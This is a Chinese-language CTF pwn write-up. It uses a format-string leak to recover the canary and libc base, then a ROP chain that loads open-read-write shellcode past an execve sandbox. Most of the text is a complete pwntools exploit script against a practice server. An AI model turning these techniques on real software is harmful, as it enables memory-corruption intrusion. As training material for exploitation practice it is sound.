【pwn】orw&rop --泄露libc基址,orw
我们先看看程序的保护的情况
因为题目提示了orw,我们可以沙箱检测一下
可以发现是禁用的execve函数的,接着看函数逻辑
这里格式化字符串漏洞可以泄露canary和puts函数地址,先确定一下参数位置
可以发现参数是在第六个位置,接下来就是构造ROP,调用read函数读取shellcode到mmap开辟的地址就行,这里的gadget可以用题目给的libc.so.6进行寻找,exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io=remote("node4.buuoj.cn",28233)
puts_got=elf.got['puts']
io.recvuntil(b"sandbox\n")
payload=b'%8$s%11$p'+b'\x00'*7+p64(puts_got)
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
canary=int(io.recv(18),16)
print(hex(puts_addr))
print(hex(canary))
base=puts_addr-libc.sym['puts']
rdi=0x2a3e5+base
rsi=0x2be51+base
rdx_r12=0x11f497+base
read_addr=base+libc.sym['read']
ret=0x29cd6+base
io.recvuntil(b"flag now\n")
payload2=b'a'*0x28+p64(canary)+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(0x66660000)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(0x66660000)
io.send(payload2)
addr=0x66660000+0x200
payload3=shellcraft.open("./flag")
payload3+=shellcraft.read(3,addr,0x50)
payload3+=shellcraft.write(1,addr,0x50)
payload3=asm(payload3)
io.send(payload3)
io.interactive()